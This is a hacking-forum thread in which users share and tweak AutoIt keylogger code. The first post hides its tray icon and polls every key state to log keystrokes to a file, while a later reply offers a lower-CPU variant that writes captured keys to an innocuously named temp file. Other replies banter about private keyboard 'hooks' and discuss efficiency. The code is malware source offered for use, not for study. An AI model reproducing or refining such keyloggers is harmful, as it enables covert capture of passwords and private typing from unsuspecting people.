Login Register






Simple Keylogger Function filter_list
Author
Message
Simple Keylogger Function #1
Code:
#NotrayIcon #include <WinAPI.au3> ;============================== ; AutoIt ; Autor : M3 ; Simple KeyLoguer Function ;============================== sGetKey() Func sGetKey() While 1 Local $sKey, $Result , $Log For $sKey = 1 To 255 $Result = _WinAPI_GetAsyncKeyState($sKey) If $Result = -32767 then $Result = Chr($sKey) $Log = FileOpen(@DesktopDir & "\Log.txt", 1) FileWrite($Log, $Result) FileClose($Log) EndIf Next WEnd Endfunc
(This post was last modified: 09-18-2012, 01:08 AM by Skullmeat.)


RE: Simple Keyloguer Function #2
Not bad.
Pierce the life fibers with your drill.


RE: Simple Keyloguer Function #3
I was almost scared thinking it was one of our hooks xD


RE: Simple Keyloguer Function #4
lol nah my hook isn't even gonna be leaked Biggrin
Pierce the life fibers with your drill.


RE: Simple Keylogger Function #5
(09-18-2012, 01:08 AM)1234hotmaster Wrote: lol nah my hook isn't even gonna be leaked Biggrin

You sure...I do have it ya know Wink)


RE: Simple Keylogger Function #6
Hey, its nice thanks for your key
[Image: hacker.gif]


RE: Simple Keylogger Function #7
(09-18-2012, 03:22 AM)Jacob Wrote:
(09-18-2012, 01:08 AM)1234hotmaster Wrote: lol nah my hook isn't even gonna be leaked Biggrin

You sure...I do have it ya know Wink)

You wouldn't dare... WOULD YOU? :o


@mohamadfakir
Key? House key? Car key?
(This post was last modified: 09-18-2012, 08:08 AM by Skullmeat.)
Pierce the life fibers with your drill.


RE: Simple Keylogger Function #8
LOL 25% cpu ussage...
this messsage is way too short.


RE: Simple Keylogger Function #9
(09-18-2012, 10:50 AM)spymare Wrote: LOL 25% cpu ussage...
this messsage is way too short.

Ik, thats why you use Switch and specify the certain keyboard integers instead of looping it with high numbers.
Pierce the life fibers with your drill.


RE: Simple Keylogger Function #10
Long winded method, but has some advantages. There are no hooks and CPU usage is really low. It is a fairly accurate method as well. I only wrote for a and b to show as an example, you'll have to fill in the blanks.

Code:
$hFile = FileOpen(@TempDir & "\fdas.dat", 1) HotKeySet("a", "a") HotKeySet("b", "b") Func a() HotKeySet("a") Send("a") FileWrite($hFile, "a") HotKeySet("a", "a") EndFunc Func b() HotKeySet("b") Send("b") FileWrite($hFile, "b") HotKeySet("b", "b") EndFunc While 1 Sleep(250) WEnd

I did not see this post before posting here: http://www.hackcommunity.com/Thread-Simp...t-function

That one is complete.